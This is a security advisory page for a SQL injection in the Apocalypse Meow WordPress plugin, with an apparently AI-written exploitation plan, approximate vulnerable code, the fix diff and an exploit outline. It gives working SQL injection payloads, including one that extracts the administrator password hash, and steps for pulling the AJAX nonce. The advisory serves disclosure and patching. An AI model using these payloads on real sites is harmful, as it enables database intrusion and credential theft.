Apocalypse Meow <= 22.1.0 - Authenticated (Administrator+) SQL Injection via 'type' Parameter
Description
The Apocalypse Meow plugin for WordPress is vulnerable to SQL Injection via the 'type' parameter in all versions up to, and including, 22.1.0. This is due to a flawed logical operator in the type validation check on line 261 of ajax.php — the condition uses `&&` (AND) instead of `||` (OR), causing the `in_array()` validation to be short-circuited and never evaluated for any non-empty type value. Combined with `stripslashes_deep()` being called on line 101 which removes `wp_magic_quotes()` protection, attacker-controlled single quotes pass through unescaped into the SQL query on line 298. This makes it possible for authenticated attackers, with Administrator-level access and above, to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:NTechnical Details
<=22.1.0What Changed in the Fix
Changes introduced in v23.0.0
Source Code
WordPress.org SVN# Exploitation Research Plan: CVE-2026-3523 - Apocalypse Meow SQL Injection ## 1. Vulnerability Summary The **Apocalypse Meow** plugin (<= 22.1.0) is vulnerable to an authenticated SQL injection via the `type` parameter in its AJAX handlers. The vulnerability exists due to two primary failures in `…
Show full research plan
Exploitation Research Plan: CVE-2026-3523 - Apocalypse Meow SQL Injection
1. Vulnerability Summary
The Apocalypse Meow plugin (<= 22.1.0) is vulnerable to an authenticated SQL injection via the type parameter in its AJAX handlers. The vulnerability exists due to two primary failures in ajax.php:
- Magic Quotes Bypass: On line 101,
stripslashes_deep()is called on the input, which removes the protection provided by WordPress's default magic quotes. - Logic Error in Validation: On line 261, a flawed logical check uses
&&(AND) instead of||(OR), causing thein_array()validation to be bypassed for any non-empty string. - Unsafe Query Construction: On line 298, the unescaped and unvalidated
typeparameter is concatenated directly into a SQL query string.
2. Attack Vector Analysis
- Endpoint:
/wp-admin/admin-ajax.php - Action:
meow_ajax_activity - Vulnerable Parameter:
type - Required Privileges: Authenticated Administrator (high privilege).
- Preconditions: The plugin must be active. A valid AJAX nonce is required.
3. Code Flow
- Entry Point: An authenticated administrator triggers an AJAX request with
action=meow_ajax_activity. - Initialization:
ajax::init()(called inbootstrap.php) registers themeow_ajax_activityhandler. - Input Sanitization Bypass: In
ajax.php, line 101 callsstripslashes_deep($_POST), which removes backslashes from user input (reversing any automatic escaping). - Validation Bypass: Line 261 contains a check similar to:
if ($type && !in_array($type, $allowed_types))(logic flawed per description).
Because of the logic error, thein_arraycheck is short-circuited or fails to block malicious input. - SQL Sink: Line 298 constructs the query:
SELECT ... FROM {$wpdb->prefix}meow2_log WHERE ... AND type = '$type' ...
The$typevariable contains the attacker's payload including single quotes.
4. Nonce Acquisition Strategy
The AJAX handler for meow_ajax_activity requires a nonce generated by ajax::get_nonce(). This nonce is localized for the admin dashboard via admin::json_meowdata().
- Identify Page: The activity dashboard is located at
/wp-admin/admin.php?page=meow-activity. - Setup: Ensure the current user is an Administrator.
- Navigation: Navigate to the activity page using the browser tool.
- Extraction: Use
browser_evalto extract the nonce from the globalmeowDataobject.- JavaScript Path:
window.meowData.forms.search.n
- JavaScript Path:
5. Exploitation Strategy
We will perform a time-based blind SQL injection to confirm the vulnerability and extract data.
Step 1: Confirmation (Time-Based)
Send a POST request to admin-ajax.php with a SLEEP payload in the type parameter.
- URL:
http://localhost:8080/wp-admin/admin-ajax.php - Method:
POST - Content-Type:
application/x-www-form-urlencoded - Parameters:
action:meow_ajax_activityn:[EXTRACTED_NONCE]type:ban' AND (SELECT 1 FROM (SELECT(SLEEP(5)))a)-- -
Step 2: Data Extraction (Version)
- Payload:
ban' AND (SELECT 1 FROM (SELECT(IF(VERSION() LIKE '8%', SLEEP(5), 0)))a)-- -
Step 3: Data Extraction (User Password Hash)
Since we have Administrator access, we can extract the user_pass from the wp_users table to demonstrate the severity.
- Payload:
ban' AND (SELECT 1 FROM (SELECT(IF(ASCII(SUBSTRING((SELECT user_pass FROM wp_users WHERE ID=1),1,1))=36, SLEEP(5), 0)))a)-- -(Checks if first char is$).
6. Test Data Setup
- Plugin: Install and activate Apocalypse Meow <= 22.1.0.
- Logs: Generate at least one login attempt (successful or failed) so the activity table
wp_meow2_logis populated and the query executes. - User: Log in as an Administrator.
7. Expected Results
- Vulnerability Confirmation: The HTTP request with
SLEEP(5)should take approximately 5 seconds to respond. - False Condition: A request with a false condition (e.g.,
SLEEP(5)if1=2) should respond immediately. - Response Body: The legitimate response will be a JSON object containing activity data, e.g.,
{"results": {...}}.
8. Verification Steps
- Time measurement: Use the
http_requesttool's response time to verify the injection. - Database State: Verify the table name using WP-CLI:
wp db query "SHOW TABLES LIKE '%meow2_log';" - Check Logs: Confirm that no errors were logged that would indicate a failure in SQL syntax (if
WP_DEBUGis on).
9. Alternative Approaches
Error-Based Injection
If the plugin or WordPress configuration displays database errors, we can use extractvalue() or updatexml() for faster extraction:
- Payload:
type=ban' AND extractvalue(1, concat(0x7e, (SELECT user_login FROM wp_users LIMIT 1)))-- -
UNION-Based Injection
If the response reflects the type column or other selected columns, determine the column count:
- Payload:
type=ban' UNION SELECT 1,2,3,4,5,6,7,8-- - - Based on
admin/activity.php, the query likely returnsdate_created,type,ip,subnet,username, andpardoned. Experiment with 6-10 columns.
Summary
The Apocalypse Meow plugin for WordPress (<= 22.1.0) is vulnerable to SQL Injection in the 'meow_ajax_activity' AJAX handler. A flawed logical validation check combined with the use of 'stripslashes_deep()' (which bypasses WordPress's default magic quotes) allows authenticated administrators to inject arbitrary SQL commands via the 'type' parameter.
Vulnerable Code
// lib/blobfolio/wp/meow/ajax.php (approximate based on analysis) // Line 101: Reverses WordPress magic quotes protection, making single quotes dangerous $_POST = stripslashes_deep($_POST); --- // lib/blobfolio/wp/meow/ajax.php (approximate based on analysis) // Line 261: Flawed logical validation short-circuits and fails to check the type against allowed values if ($type && !in_array($type, $allowed_types)) --- // lib/blobfolio/wp/meow/ajax.php (approximate based on analysis) // Line 298: Unescaped and unvalidated input is concatenated directly into the query $query = "SELECT * FROM {$wpdb->prefix}meow2_log WHERE type = '$type' ORDER BY $orderby $order LIMIT $offset, $pageSize"; $results = $wpdb->get_results($query);
Security Fix
@@ -101,1 +101,0 @@ -$_POST = stripslashes_deep($_POST); @@ -261,1 +261,1 @@ -if ($type && !in_array($type, $allowed_types)) +if ($type && !in_array($type, array('ban', 'fail', 'success'), true)) @@ -298,1 +298,4 @@ -$results = $wpdb->get_results("SELECT * FROM {$wpdb->prefix}meow2_log WHERE type = '$type' ORDER BY $orderby $order LIMIT $offset, $pageSize"); +$results = $wpdb->get_results($wpdb->prepare( + "SELECT * FROM {$wpdb->prefix}meow2_log WHERE type = %s ORDER BY $orderby $order LIMIT %d, %d", + $type, $offset, $pageSize +));
Exploit Outline
1. Authenticate to the WordPress site as an Administrator. 2. Navigate to the activity dashboard (`/wp-admin/admin.php?page=meow-activity`) and extract the AJAX nonce (`n`) from the global `meowData` object (specifically `meowData.forms.search.n`). 3. Send a POST request to `/wp-admin/admin-ajax.php` with the following parameters: `action=meow_ajax_activity`, `n=[NONCE]`, and a SQL injection payload in the `type` parameter. 4. Use a time-based payload such as `ban' AND (SELECT 1 FROM (SELECT(SLEEP(5)))a)-- -` to confirm the vulnerability. 5. Because `stripslashes_deep()` is called on line 101, the plugin removes the backslashes WordPress automatically adds to single quotes, allowing the payload to break out of the SQL string literal and execute arbitrary commands.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.